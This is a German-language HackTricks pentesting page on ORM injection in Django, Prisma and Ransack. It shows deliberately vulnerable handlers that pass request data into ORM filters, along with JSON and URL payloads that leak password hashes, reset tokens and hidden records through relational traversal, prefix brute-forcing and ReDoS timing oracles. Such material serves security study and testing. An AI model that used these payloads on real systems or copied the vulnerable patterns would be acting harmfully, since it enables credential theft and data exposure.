12 KiB
ORM Injection
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Django ORM (Python)
In diesem Beitrag wird erklärt, wie es möglich ist, ein Django ORM anfällig zu machen, indem man beispielsweise einen Code wie folgt verwendet:
class ArticleView(APIView):
"""
Einige grundlegende API-Ansicht, an die Benutzer Anfragen senden, um
nach Artikeln zu suchen
"""
def post(self, request: Request, format=None):
try:
articles = Article.objects.filter(**request.data)
serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)
Beachten Sie, wie alle request.data (die ein JSON sein wird) direkt verwendet wird, um Objekte aus der Datenbank zu filtern. Ein Angreifer könnte unerwartete Filter senden, um mehr Daten als erwartet zu leaken.
Beispiele:
- Login: Bei einem einfachen Login versuchen, die Passwörter der registrierten Benutzer zu leaken.
{
"username": "admin",
"password_startswith":"a"
}
{% hint style="danger" %} Es ist möglich, das Passwort durch Brute-Force zu knacken, bis es geleakt wird. {% endhint %}
- Relationales Filtern: Es ist möglich, Beziehungen zu durchlaufen, um Informationen aus Spalten zu leaken, die nicht einmal für die Operation erwartet wurden. Zum Beispiel, wenn es möglich ist, Artikel zu leaken, die von einem Benutzer mit diesen Beziehungen erstellt wurden: Article(
created_by
) -[1..1]-> Author (user
) -[1..1]-> User(password
).
{
"created_by__user__password__contains":"pass"
}
{% hint style="danger" %} Es ist möglich, das Passwort aller Benutzer zu finden, die einen Artikel erstellt haben. {% endhint %}
- Viele-zu-viele relationale Filterung: Im vorherigen Beispiel konnten wir die Passwörter von Benutzern, die keinen Artikel erstellt haben, nicht finden. Durch das Verfolgen anderer Beziehungen ist dies jedoch möglich. Zum Beispiel: Artikel(
created_by
) -[1..1]-> Autor(departments
) -[0..*]-> Abteilung(employees
) -[0..*]-> Autor(user
) -[1..1]-> Benutzer(password
).
{
"created_by__departments__employees__user_startswith":"admi"
}
{% hint style="danger" %} In diesem Fall können wir alle Benutzer in den Abteilungen von Benutzern finden, die Artikel erstellt haben, und dann ihre Passwörter leaken (im vorherigen JSON leaken wir nur die Benutzernamen, aber dann ist es möglich, die Passwörter zu leaken). {% endhint %}
- Missbrauch von Django Group und Permission viele-zu-viele Beziehungen mit Benutzern: Darüber hinaus wird das AbstractUser-Modell verwendet, um Benutzer in Django zu generieren, und standardmäßig hat dieses Modell einige viele-zu-viele Beziehungen mit den Permission- und Group-Tabellen. Dies ist im Grunde eine Standardmethode, um auf andere Benutzer von einem Benutzer zuzugreifen, wenn sie in der gleichen Gruppe sind oder die gleiche Berechtigung teilen.
# By users in the same group
created_by__user__groups__user__password
# By users with the same permission
created_by__user__user_permissions__user__password
- Umgehung von Filterbeschränkungen: Der gleiche Blogbeitrag schlug vor, die Verwendung einiger Filter wie
articles = Article.objects.filter(is_secret=False, **request.data)
zu umgehen. Es ist möglich, Artikel, die is_secret=True haben, zu dumpen, da wir von einer Beziehung zur Article-Tabelle zurückschleifen können und geheime Artikel aus nicht geheimen Artikeln leaken können, da die Ergebnisse zusammengeführt werden und das is_secret-Feld im nicht geheimen Artikel überprüft wird, während die Daten aus dem geheimen Artikel geleakt werden.
Article.objects.filter(is_secret=False, categories__articles__id=2)
{% hint style="danger" %} Durch den Missbrauch von Beziehungen ist es möglich, sogar Filter zu umgehen, die dazu gedacht sind, die angezeigten Daten zu schützen. {% endhint %}
- Fehler-/Zeitbasiert über ReDoS: In den vorherigen Beispielen wurde erwartet, unterschiedliche Antworten zu erhalten, wenn die Filterung funktionierte oder nicht, um dies als Orakel zu verwenden. Es könnte jedoch möglich sein, dass eine Aktion in der Datenbank durchgeführt wird und die Antwort immer gleich ist. In diesem Szenario könnte es möglich sein, den Datenbankfehler zu erzeugen, um ein neues Orakel zu erhalten.
// Non matching password
{
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}
// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
From te same post regarding this vector:
- SQLite: Hat standardmäßig keinen regexp-Operator (erfordert das Laden einer Drittanbietererweiterung)
- PostgreSQL: Hat keinen standardmäßigen Regex-Timeout und ist weniger anfällig für Backtracking
- MariaDB: Hat keinen Regex-Timeout
Prisma ORM (NodeJS)
Die folgenden sind Tricks, die aus diesem Beitrag extrahiert wurden.
- Vollständige Suchkontrolle:
const app = express();
app.use(express.json());
app.post('/articles/verybad', async (req, res) => {
try {
// Angreifer hat vollständige Kontrolle über alle Prisma-Optionen
const posts = await prisma.article.findMany(req.body.filter)
res.json(posts);
} catch (error) {
res.json([]);
}
});
Es ist möglich zu sehen, dass der gesamte JavaScript-Body an Prisma übergeben wird, um Abfragen durchzuführen.
Im Beispiel aus dem ursprünglichen Beitrag würde dies alle Beiträge überprüfen, die von jemandem erstellt wurden (jeder Beitrag wird von jemandem erstellt) und auch die Benutzerinformationen dieser Person zurückgeben (Benutzername, Passwort...)
{
"filter": {
"include": {
"createdBy": true
}
}
}
// Response
[
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
]
Die folgende Abfrage wählt alle Beiträge aus, die von jemandem mit einem Passwort erstellt wurden, und gibt das Passwort zurück:
{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}
// Response
[
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
]
- Vollständige Kontrolle über die where-Klausel:
Lassen Sie uns einen Blick darauf werfen, wo der Angriff die where
-Klausel steuern kann:
app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
where: req.query.filter as any // Anfällig für ORM-Leaks
})
res.json(posts);
} catch (error) {
res.json([]);
}
});
Es ist möglich, das Passwort der Benutzer direkt zu filtern wie:
await prisma.article.findMany({
where: {
createdBy: {
password: {
startsWith: "pas"
}
}
}
})
{% hint style="danger" %}
Durch die Verwendung von Operationen wie startsWith
ist es möglich, Informationen zu leaken.
{% endhint %}
- Umgehung der Filterung bei vielen-zu-vielen relationalen Filtern:
app.post('/articles', async (req, res) => {
try {
const query = req.body.query;
query.published = true;
const posts = await prisma.article.findMany({ where: query })
res.json(posts);
} catch (error) {
res.json([]);
}
});
Es ist möglich, nicht veröffentlichte Artikel durch Rückverknüpfung zu den vielen-zu-vielen-Beziehungen zwischen Category
-[*..*]-> Article
zu leaken:
{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
Es ist auch möglich, alle Benutzer durch den Missbrauch einiger Loopback-viele-zu-viele-Beziehungen zu leaken:
{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
- Error/Timed queries: Im ursprünglichen Beitrag können Sie eine sehr umfangreiche Reihe von Tests lesen, die durchgeführt wurden, um die optimale Payload zu finden, um Informationen mit einer zeitbasierten Payload zu leaken. Dies ist:
{
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
}
Wo die {CONTAINS_LIST}
eine Liste mit 1000 Zeichenfolgen ist, um sicherzustellen, dass die Antwort verzögert wird, wenn das richtige Leak gefunden wird.
Ransack (Ruby)
Diese Tricks wurden in diesem Beitrag gefunden.
{% hint style="success" %} Beachten Sie, dass Ransack 4.0.0.0 jetzt die Verwendung einer expliziten Erlaubenliste für durchsuchbare Attribute und Assoziationen durchsetzt. {% endhint %}
Anfälliges Beispiel:
def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end
Beachten Sie, wie die Abfrage durch die vom Angreifer gesendeten Parameter definiert wird. Es war möglich, den Rücksetz-Token beispielsweise mit folgendem zu brute-forcen:
GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...
Durch Brute-Forcing und potenziell Beziehungen war es möglich, mehr Daten aus einer Datenbank zu leaken.
References
- https://www.elttam.com/blog/plormbing-your-django-orm/
- https://www.elttam.com/blog/plorming-your-primsa-orm/
- https://positive.security/blog/ransack-data-exfiltration
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.